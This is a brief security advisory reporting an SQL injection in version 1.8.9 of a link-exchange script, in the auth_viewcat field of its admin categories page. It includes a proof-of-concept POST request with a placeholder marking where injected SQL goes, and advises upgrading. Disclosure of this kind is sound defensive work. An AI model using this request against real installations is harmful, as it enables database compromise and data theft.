Vendor: http://www.got.my ( http://www.got.my/LINK-EXCHANGE-Script )
Vulnerable Version: 1.8.9
Vulnerability Type: SQL Injection
Risk level: High
Credit: Hector.x90

Vulnerability Details:
The vulnerability exists due to failure in the "/admin/categories.php" script to properly sanitize user-supplied input.
Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.
The following PoC is available:

POST /admin/categories.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 263

__csrf=53c2e96a96fcba6dc1d9626c846f665b&action=savecat&cat_name=1&cat_de
scription=1&cat_parent_id=0&cat_order=0&auth_viewcat=SQL_CODE_HERE&auth_
viewimage=0&auth_download=2&auth_upload=2&auth_directupload=9&auth_vote=
0&auth_sendpostcard=0&auth_readcomment=0&auth_postcomment=2

Solution: Upgrade to the most recent version